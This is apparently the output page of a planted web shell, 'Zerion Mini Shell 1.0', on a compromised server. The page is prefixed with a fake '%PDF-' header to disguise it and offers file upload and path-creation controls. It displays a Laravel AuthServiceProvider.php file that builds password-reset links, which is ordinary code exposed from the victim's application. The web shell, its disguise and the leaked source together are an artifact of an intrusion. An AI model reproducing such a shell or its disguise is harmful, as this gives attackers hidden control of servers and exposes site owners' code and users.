%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/test/app/Providers/
Upload File :
Create Path :
Current File : /www/loslex/test/app/Providers/AuthServiceProvider.php

<?php

namespace App\Providers;

// use Illuminate\Support\Facades\Gate;
use Illuminate\Foundation\Support\Providers\AuthServiceProvider as ServiceProvider;

use App\Models\User;
use Illuminate\Auth\Notifications\ResetPassword;


class AuthServiceProvider extends ServiceProvider
{
    /**
     * The model to policy mappings for the application.
     *
     * @var array<class-string, class-string>
     */
    protected $policies = [
        //
    ];

    /**
     * Register any authentication / authorization services.
     */
    public function boot(): void
    {
        // ResetPassword::createUrlUsing(function (User $user, string $token) {
        //     return route('password.reset',['token' => $token]) + $"";
        // });
        ResetPassword::createUrlUsing(function (User $user, string $token) {
            return config('app.url')."/reset-password/$token?login={$user->getEmailForPasswordReset()}";
        });

    }
}

Zerion Mini Shell 1.0